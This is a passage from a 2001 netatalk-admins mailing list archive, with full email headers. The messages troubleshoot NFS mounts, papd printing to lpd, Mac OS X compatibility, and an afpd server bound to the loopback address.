appear under the same group as who you'll be logging in to the netatalk
server as. 

That's my guess at least. Mileage may vary.

- Mike Johnson


On 09 Jan 2001 22:17:21 -0700, Darron Froese wrote:

> on 1/8/01 8:29 AM, Matthew Keller at kellermg@potsdam.edu wrote:
> 
> > Make sure your time on both NFS server and NFS client are the same-
> > Down to the second.
> 
> Check. I just synched them with ntpdate to the same server.
> 
> > I use the following flags when I mount NFS volumes
> > for share with Netatalk. You gotta turn off NFS locking because Apple is
> > lame and is CONSTANTLY writing and reading resource forks while a file
> > is open (even in the midst of a copy)
> > 
> > nolock,nosuid,noexec,wsize=8192,bg,nodev,rsize=8192,intr
> 
> I've got this:
> 
> soft,intr,user,nolock,nosuid,noexec,nodev,wsize=8192,rsize=8192
> 
> I can now read just fine from those NFS shared directories, but I cannot
> write reliably. I am able to write a file once in a while - but not on
> command.
> 
> Usually I get "The item $ITEM cannot be written because of an error of type
> -50. Would you like to continue?" Of course continuing does nothing.
> 
> I have found a workaround for the time being - I can copy the file to a
> non-NFS mounted directory and then *move* it to the NFS mounted directory.
> The file is fine when I copy it off of the NFS server (via an additional
> test netatalk server).
> 
> Any other ideas?
> -- 
> Darron
> darron@froese.org
> 
> 

From netatalk.administrators-errors@umich.edu  Wed Jan 10 16:10:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA19504
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Jan 2001 16:10:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01775
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Jan 2001 16:10:48 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01754
	for netatalk.administrators-members@umich.edu; Wed, 10 Jan 2001 16:10:47 -0500 (EST)
Received: from opal.biophys.uni-duesseldorf.de (opal.biophys.uni-duesseldorf.de [134.99.176.7])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA01716
	for <netatalk-admins@umich.edu>; Wed, 10 Jan 2001 16:10:45 -0500 (EST)
Received: from localhost (schmitz@localhost)
	by opal.biophys.uni-duesseldorf.de (8.11.0/8.11.0) with ESMTP id f0ALAVU10767;
	Wed, 10 Jan 2001 22:10:31 +0100
Date: Wed, 10 Jan 2001 22:10:31 +0100 (CET)
From: Michael Schmitz <schmitz@opal.biophys.uni-duesseldorf.de>
To: linux-mac68k <linux-mac68k@mac.linux-m68k.org>
cc: <netatalk-admins@umich.edu>
Subject: Re: Probably OT: netatalk + printing
In-Reply-To: <01011004340401.17968@athlet>
Message-ID: <Pine.LNX.4.30.0101102205360.10639-100000@opal.biophys.uni-duesseldorf.de>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 10 Jan 2001, Carsten Neumann wrote:

> I'm using netatalk (papd) to print from my Mac to a lpd printer on my linux box.
> When I print from my Mac lpq shows:
> 	Warning: queue is not active (no server present).
> When I print locally everything is fine.
>
> If anyone can help please let me know.

Need more details - what version of Linux is running the netatalk
package, is there anything in the syslog on that box either by papd or
lpd?

I had to adjust a few permissions on the lpd spool and the printer socket
with RedHat 6.2. I still have the disks around to look it up - we just
upgraded to RedHat 7.0 and papd stopped working altogether due to lpd
being replaced by lprng ...

	Michael


From netatalk.administrators-errors@umich.edu  Wed Jan 10 19:46:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA25032
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Jan 2001 19:46:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA06010
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Jan 2001 19:46:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA06000
	for netatalk.administrators-members@umich.edu; Wed, 10 Jan 2001 19:46:11 -0500 (EST)
Received: from urban.iinet.net.au (urban.iinet.net.au [203.59.24.231])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA05955
	for <netatalk-admins@umich.edu>; Wed, 10 Jan 2001 19:46:09 -0500 (EST)
Received: from popserver-02.iinet.net.au (popserver-02.iinet.net.au [203.59.24.148])
	by urban.iinet.net.au (8.8.7/8.8.7) with ESMTP id IAA16080
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 08:46:11 +0800
Received: from [203.59.191.61] (per-qv1-nas16-61.dlp.iinet.net.au [203.59.191.61])
	by popserver-02.iinet.net.au (8.9.3/8.9.3) with ESMTP id IAA19291
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 08:46:10 +0800
Mime-Version: 1.0
X-Sender: BLangoulant@203.103.99.141 (Unverified)
Message-Id: <v04210105b681cc6ed4c9@[203.59.180.46]>
Date: Wed, 10 Jan 2001 16:23:26 +0800
To: netatalk-admins@umich.edu
From: Brendan Langoulant <BLangoulant@ddd.com>
Subject: Unsubscribe
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Unsubscribe
--
Brendan Langoulant
Director of Software Engineering
<mailto:BLangoulant@ddd.com>
<http://www.ddd.com/>

From netatalk.administrators-errors@umich.edu  Wed Jan 10 23:34:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA29857
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 10 Jan 2001 23:34:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19298
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 10 Jan 2001 23:34:35 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA19262
	for netatalk.administrators-members@umich.edu; Wed, 10 Jan 2001 23:34:34 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA19204
	for <netatalk-admins@umich.edu>; Wed, 10 Jan 2001 23:34:32 -0500 (EST)
Received: from n241-25.berlin.snafu.de ([195.21.241.25] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14GZRX-0005YV-00
	for netatalk-admins@umich.edu; Thu, 11 Jan 2001 05:34:31 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id FAA09133
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 05:33:42 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Probably OT: netatalk + printing
Date: Thu, 11 Jan 2001 04:53:16 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.30.0101102205360.10639-100000@opal.biophys.uni-duesseldorf.de>
In-Reply-To: <Pine.LNX.4.30.0101102205360.10639-100000@opal.biophys.uni-duesseldorf.de>
MIME-Version: 1.0
Message-Id: <01011105334203.31083@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA29857

On Wed, 10 Jan 2001, Michael Schmitz wrote:
> On Wed, 10 Jan 2001, Carsten Neumann wrote:
> 
> > I'm using netatalk (papd) to print from my Mac to a lpd printer on my linux box.
> > When I print from my Mac lpq shows:
> > 	Warning: queue is not active (no server present).
> > When I print locally everything is fine.
> >
> > If anyone can help please let me know.
> 
> Need more details - what version of Linux is running the netatalk
> package, is there anything in the syslog on that box either by papd or
> lpd?
> 
> I had to adjust a few permissions on the lpd spool and the printer socket
> with RedHat 6.2. I still have the disks around to look it up - we just
> upgraded to RedHat 7.0 and papd stopped working altogether due to lpd
> being replaced by lprng ...
> 
> 	Michael

I'm running SuSE 6.3, kernel: 2.2.13, netatalk: 1.4b2+asun2.1.3-30, plp: 4.1.2-77.

There are some strange messages in /var/log/messages:
Jan 11 03:23:19 athlet papd[5733]: lp_conn_unix connect /dev/printer: Connection refused
Jan 11 03:23:19 athlet papd[5733]: lp_print: lp_conn_unix: Connection refused

None of my printers is configured with an entry containing "/dev/printer".
There is no config file with this string.

Seems to be a problem in papd: guesses it has to print to a /dev/printer device!?

Could this lead to the problem that the daemon is not started?

Seems that replacing lpd by LPRng will not solve my problem. (Thought of this try.) :-(

	Carsten

From netatalk.administrators-errors@umich.edu  Thu Jan 11 02:09:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA03178
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 02:09:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA28131
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 02:09:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id CAA28111
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 02:09:44 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id CAA28074
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 02:09:43 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id XAA10151;
	Wed, 10 Jan 2001 23:09:45 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Wed, 10 Jan 2001 23:09:45 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: Probably OT: netatalk + printing
In-Reply-To: <01011105334203.31083@athlet>
Message-ID: <Pine.LNX.4.30.0101102308020.5982-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 11 Jan 2001, Carsten Neumann wrote:

> On Wed, 10 Jan 2001, Michael Schmitz wrote:
> > On Wed, 10 Jan 2001, Carsten Neumann wrote:
> >
> > > I'm using netatalk (papd) to print from my Mac to a lpd printer on my linux box.
> > > When I print from my Mac lpq shows:
> > > 	Warning: queue is not active (no server present).
> > > When I print locally everything is fine.
> > >
> > > If anyone can help please let me know.
> >
> > Need more details - what version of Linux is running the netatalk
> > package, is there anything in the syslog on that box either by papd or
> > lpd?
> >
> > I had to adjust a few permissions on the lpd spool and the printer socket
> > with RedHat 6.2. I still have the disks around to look it up - we just
> > upgraded to RedHat 7.0 and papd stopped working altogether due to lpd
> > being replaced by lprng ...
> >
> > 	Michael
>
> I'm running SuSE 6.3, kernel: 2.2.13, netatalk: 1.4b2+asun2.1.3-30, plp: 4.1.2-77.
>
> There are some strange messages in /var/log/messages:
> Jan 11 03:23:19 athlet papd[5733]: lp_conn_unix connect /dev/printer: Connection refused
> Jan 11 03:23:19 athlet papd[5733]: lp_print: lp_conn_unix: Connection refused
>
> None of my printers is configured with an entry containing "/dev/printer".
> There is no config file with this string.
>
> Seems to be a problem in papd: guesses it has to print to a /dev/printer device!?
>
> Could this lead to the problem that the daemon is not started?
>
> Seems that replacing lpd by LPRng will not solve my problem. (Thought of this try.) :-(

Change your papd.conf file so that it doesn't try to place the job in the
spool directory itself.  You can pipe the print job from papd to your
print software with (lpd in this example):

my_printer:\
	:pr=|/usr/bin/lpr -Plp1:

	Andy


From netatalk.administrators-errors@umich.edu  Thu Jan 11 03:41:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA05040
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 03:41:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA19817
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 03:41:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA19794
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 03:41:37 -0500 (EST)
Received: from tsmtp4.mail.isp ([195.235.113.151])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA19747
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 03:41:35 -0500 (EST)
Received: from cubeship.borgspace.alpha ([213.97.106.73]) by
          tsmtp4.mail.isp (Netscape Messaging Server 4.15) with ESMTP id
          G6ZPDS00.J47 for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001
          09:39:28 +0100 
Received: from tangy.borgspace.alpha ([10.0.0.3] helo=tangy)
	by cubeship.borgspace.alpha with smtp (Exim 3.12 #1 (Debian))
	id 14GdIX-00010J-00
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 09:41:29 +0100
Date: Thu, 11 Jan 2001 09:41:25 +0100
Reply-To: jasonq@usa.net
Content-Type: text/plain;
	charset=us-ascii
From: Jason Quigley <jasonq@usa.net>
To: <netatalk-admins@umich.edu>
Subject: OS X...
Message-Id: <E14GdIX-00010J-00@cubeship.borgspace.alpha>
Mime-Version: 1.0
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA05040

Hi everybody!

Now that we've got a firm release date for OSX (March 24th), I'd like to know if anybody has been able to make this OS play well with Netatalk? If so, which version.

I would also be interested in compiling a list of OS's people are using to host Netatalk, hardware used and file systems, etc. I am toying with the idea of putting this into a database in order to find the most reliable/cost effective platform. Any comments?

Thanks,
Jason.

From netatalk.administrators-errors@umich.edu  Thu Jan 11 07:16:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA11096
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 07:16:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02168
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 07:16:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02142
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 07:16:02 -0500 (EST)
Received: from mail.mi-group.com (mail.mi-group.com [195.153.125.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id HAA02053
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 07:16:00 -0500 (EST)
Received: (qmail 1771 invoked from network); 11 Jan 2001 12:19:01 -0000
Received: from proxy.mi-group.com (HELO mail.intra.mi-group.com) (195.153.125.10)
  by mail.mi-group.com with SMTP; 11 Jan 2001 12:19:01 -0000
Received: by mail.com.mi-group.com with Internet Mail Service (5.5.2650.21)
	id <CV8XS4K4>; Thu, 11 Jan 2001 12:16:20 -0000
Message-ID: <F38EC38186E1D411B2BB00A024E128D4016C1D@mail.com.mi-group.com>
From: Alexi Margo <alexi@wwood.co.uk>
To: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: AppleTalk only seems to be semi-functional. Everything works over
	 TCP/IP
Date: Thu, 11 Jan 2001 12:16:10 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

I have seen similar posts in the archives, but no solution. If anyone can
help it would be greatly appreciated - I'm sure I've overlooked something
really simple, but I'm not sure where to go from here.

I've installed the netatalk-1.4b2+asun2.1.4-0.i386 RPM on a RedHat 6.2 box.
The machine is appearing in Chooser and if I choose to connect by entering
the server's IP address there are no problems. However, if I just "OK" the
server name directly from Chooser, I immediately get the response:

> No response from server. Please try again.

Outputs of the following files:

/var/log/messages:

Jan 11 10:51:46 miserver1 kernel: NET4: AppleTalk 0.18 for Linux NET4.0 
Jan 11 10:51:46 miserver1 atalkd[2203]: restart (1.4b2+asun2.1.4)
Jan 11 10:51:47 miserver1 atalkd[2203]: zip_getnetinfo for eth0
Jan 11 10:52:06 miserver1 last message repeated 2 times
Jan 11 10:52:16 miserver1 atalkd[2203]: config for no router
Jan 11 10:52:17 miserver1 atalkd[2203]: ready 0/0/0
Jan 11 10:52:17 miserver1 atalk: atalkd startup succeeded
Jan 11 10:52:29 miserver1 papd[2221]: restart (1.4b2+asun2.1.4)
Jan 11 10:52:29 miserver1 atalk: papd startup succeeded
Jan 11 10:52:29 miserver1 atalk: afpd startup succeeded
Jan 11 10:52:35 miserver1 afpd[2230]: miserver1:AFPServer@* started on
65280.44:128 (1.4b2+asun2.1.4)
Jan 11 10:52:35 miserver1 afpd[2230]: ASIP started on 127.0.0.1:548(1)
(1.4b2+asun2.1.4)
Jan 11 10:52:35 miserver1 afpd[2230]: uam: uams_guest.so loaded
Jan 11 10:52:35 miserver1 afpd[2230]: uam: uams_clrtxt.so loaded
Jan 11 10:52:35 miserver1 afpd[2230]: uam: uams_dhx.so loaded
Jan 11 10:52:35 miserver1 afpd[2230]: uam: "DHCAST128" available
Jan 11 10:52:35 miserver1 afpd[2230]: uam: "Cleartxt Passwrd" available
Jan 11 10:52:35 miserver1 afpd[2230]: uam: "No User Authent" available

$ nbplkup miserver1
    miserver1:AFPServer                          65280.44:128
    miserver1:netatalk                           65280.44:4
    miserver1:Workstation                        65280.44:4

$ nbplkup :Workstation
    miserver1:Workstation                        65280.44:4
     Mac ISDN:Workstation                        41201.173:4
         Mac1:Workstation                        41201.237:4
         Mac2:Workstation                        41201.18:4
         Mac3:Workstation                        65295.90:4
         Mac4:Workstation                        65280.198:4
         Mac5:Workstation                        41201.61:4
         Mac6:Workstation                        41201.124:4

afpd.conf and atalkd.conf contain only comments.

Any ideas?

Regards,

**********************************************************
Alexi Margo
Internet Systems Manager
Wildwood Technology Ltd
http://www.wwood.co.uk/
t +44-(0)20 8426 7777
f +44-(0)20 8426 5050
**********************************************************

This message is intended only for the use of the person(s) ("the Intended
Recipient") to whom it is addressed. It may contain information which is
privileged and confidential within the meaning of applicable law.
Accordingly any dissemination, distribution, copying or other use of this
message or any of its content by any person other than the Intended
Recipient may constitute a breach of civil or criminal law and is strictly
prohibited. If you are not the Intended Recipient please contact the sender
as soon as possible.

From netatalk.administrators-errors@umich.edu  Thu Jan 11 10:40:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA17656
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 10:40:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21699
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 10:40:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21674
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 10:40:24 -0500 (EST)
Received: from bowman.scf.orst.edu (bowman.SCF.ORST.EDU [128.193.161.87])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA21637
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 10:40:23 -0500 (EST)
Received: from localhost (morgan@localhost)
	by bowman.scf.orst.edu (8.9.3/8.9.3) with ESMTP id HAA11621;
	Thu, 11 Jan 2001 07:40:14 -0800
X-Authentication-Warning: bowman.scf.orst.edu: morgan owned process doing -bs
Date: Thu, 11 Jan 2001 07:40:14 -0800 (PST)
From: andrew morgan <morgan@orst.edu>
X-Sender:  <morgan@bowman.scf.orst.edu>
To: Alexi Margo <alexi@wwood.co.uk>
cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: AppleTalk only seems to be semi-functional. Everything works
 over  TCP/IP
In-Reply-To: <F38EC38186E1D411B2BB00A024E128D4016C1D@mail.com.mi-group.com>
Message-ID: <Pine.LNX.4.30.0101110736420.5982-100000@bowman.scf.orst.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 11 Jan 2001, Alexi Margo wrote:

> Hi,
>
> I have seen similar posts in the archives, but no solution. If anyone can
> help it would be greatly appreciated - I'm sure I've overlooked something
> really simple, but I'm not sure where to go from here.
>
> I've installed the netatalk-1.4b2+asun2.1.4-0.i386 RPM on a RedHat 6.2 box.
> The machine is appearing in Chooser and if I choose to connect by entering
> the server's IP address there are no problems. However, if I just "OK" the
> server name directly from Chooser, I immediately get the response:
>
> > No response from server. Please try again.
>
> Outputs of the following files:
>
> /var/log/messages:
>
> Jan 11 10:51:46 miserver1 kernel: NET4: AppleTalk 0.18 for Linux NET4.0
> Jan 11 10:51:46 miserver1 atalkd[2203]: restart (1.4b2+asun2.1.4)
> Jan 11 10:51:47 miserver1 atalkd[2203]: zip_getnetinfo for eth0
> Jan 11 10:52:06 miserver1 last message repeated 2 times
> Jan 11 10:52:16 miserver1 atalkd[2203]: config for no router
> Jan 11 10:52:17 miserver1 atalkd[2203]: ready 0/0/0
> Jan 11 10:52:17 miserver1 atalk: atalkd startup succeeded
> Jan 11 10:52:29 miserver1 papd[2221]: restart (1.4b2+asun2.1.4)
> Jan 11 10:52:29 miserver1 atalk: papd startup succeeded
> Jan 11 10:52:29 miserver1 atalk: afpd startup succeeded
> Jan 11 10:52:35 miserver1 afpd[2230]: miserver1:AFPServer@* started on
> 65280.44:128 (1.4b2+asun2.1.4)
> Jan 11 10:52:35 miserver1 afpd[2230]: ASIP started on 127.0.0.1:548(1)
> (1.4b2+asun2.1.4)

Look at the line directly above.  Afpd is binding to 127.0.01, the
loopback address, instead of your real IP address.  So when the mac
contacts the server over appletalk, your server says, "Contact me on
127.0.0.1", which fails.

Have a look at your /etc/hosts file.  It should look something like:

127.0.0.1               localhost localhost.localdomain
24.7.138.204            c9544580-a.potlnd1.or.home.com c9544580-a

I think you'll find that it only has the 127.0.0.1 address in it, not your
real IP address.

	Andy


From netatalk.administrators-errors@umich.edu  Thu Jan 11 11:37:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA20177
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 11:37:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13946
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 11:37:03 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA13911
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 11:37:00 -0500 (EST)
Received: from post.aecom.yu.edu (post.aecom.yu.edu [129.98.1.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA13845
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 11:36:59 -0500 (EST)
Received: from [129.98.91.150] (usseinstein.aecom.yu.edu [129.98.91.150])
	by post.aecom.yu.edu (8.9.3/8.9.3) with ESMTP id LAA01065;
	Thu, 11 Jan 2001 11:36:57 -0500 (EST)
Mime-Version: 1.0
X-Sender: mvolaski@mailserver.aecom.yu.edu
Message-Id: <a05001903b6839043c1ab@[129.98.91.150]>
In-Reply-To: <E14GdIX-00010J-00@cubeship.borgspace.alpha>
References: <E14GdIX-00010J-00@cubeship.borgspace.alpha>
Date: Thu, 11 Jan 2001 11:36:57 -0500
To: netatalk-admins@umich.edu
From: Maurice Volaski <mvolaski@aecom.yu.edu>
Subject: Re: OS X...
Cc: jasonq@usa.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Hi everybody!
>
>Now that we've got a firm release date for OSX (March 24th), I'd 
>like to know if anybody has been able to make this OS play well with 
>Netatalk? If so, which version.
>
>I would also be interested in compiling a list of OS's people are 
>using to host Netatalk, hardware used and file systems, etc. I am 
>toying with the idea of putting this into a database in order to 
>find the most reliable/cost effective platform. Any comments?

Check out the third paragraph below...

I want to let people know there are two issues with Mac OS X Server 
1.2. There is no good reason to believe that the Mac OS X Beta is not 
similarly affected.

The first problem occurs when attempting to fsck a UFS volume. fsck 
will hang when executed. The problem occurs when using the Infortrend 
IFT-3102U2G RAID controller on a 400GB volume. This hang will occur 
even on a freshly-initialized disk in single-user mode. This problem 
may be related to the volume size and not the RAID controller (as I 
had previously believed). If you are using a relatively large disk or 
any type of hardware RAID, you should backup your data and then test 
whether a forced fsck works.

The second problem concerns HFS+. It happens when using netatalk or 
samba to copy very large files (>> 100 MB) to the server, which will 
cause the server (and hence the client) to stall. The larger the file 
the longer the stall. For example, a 760MB file stalls for about 46 
seconds. For files about 1 GB in size, the copy can fail and the 
connection to the server lost!
Under Apple File Services, this stall occurs only when the file copy 
is cancelled during mid-copy. This issue appears to occur on all HFS+ 
formatted volumes.
-- 

Maurice Volaski, mvolaski@aecom.yu.edu
Computing Support, Rose F. Kennedy Center
Albert Einstein College of Medicine of Yeshiva University

From netatalk.administrators-errors@umich.edu  Thu Jan 11 15:02:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27558
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 11 Jan 2001 15:02:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24875
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 11 Jan 2001 15:02:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA24861
	for netatalk.administrators-members@umich.edu; Thu, 11 Jan 2001 15:02:20 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA24540
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 15:02:08 -0500 (EST)
Received: from n65-78.berlin.snafu.de ([194.42.65.78] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.14 #1)
	id 14GnvI-0000yq-00
	for netatalk-admins@umich.edu; Thu, 11 Jan 2001 21:02:13 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA11761
	for <netatalk-admins@umich.edu>; Thu, 11 Jan 2001 20:53:40 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: AppleTalk only seems to be semi-functional. Everything works over TCP/IP
Date: Thu, 11 Jan 2001 20:48:32 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <F38EC38186E1D411B2BB00A024E128D4016C1D@mail.com.mi-group.com>
In-Reply-To: <F38EC38186E1D411B2BB00A024E128D4016C1D@mail.com.mi-group.com>
MIME-Version: 1.0
Message-Id: <01011120533900.11723@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA27558

On Thu, 11 Jan 2001, Alexi Margo wrote:
> Hi,
> 
> I have seen similar posts in the archives, but no solution. If anyone can
> help it would be greatly appreciated - I'm sure I've overlooked something
> really simple, but I'm not sure where to go from here.
> 
> I've installed the netatalk-1.4b2+asun2.1.4-0.i386 RPM on a RedHat 6.2 box.
> The machine is appearing in Chooser and if I choose to connect by entering
> the server's IP address there are no problems. However, if I just "OK" the
> server name directly from Chooser, I immediately get the response:
> 
> > No response from server. Please try again.

Could be a DNS related problem?
Have you configured your name server correctly?
NBP seems not responsible since you're going IP.

	Carsten

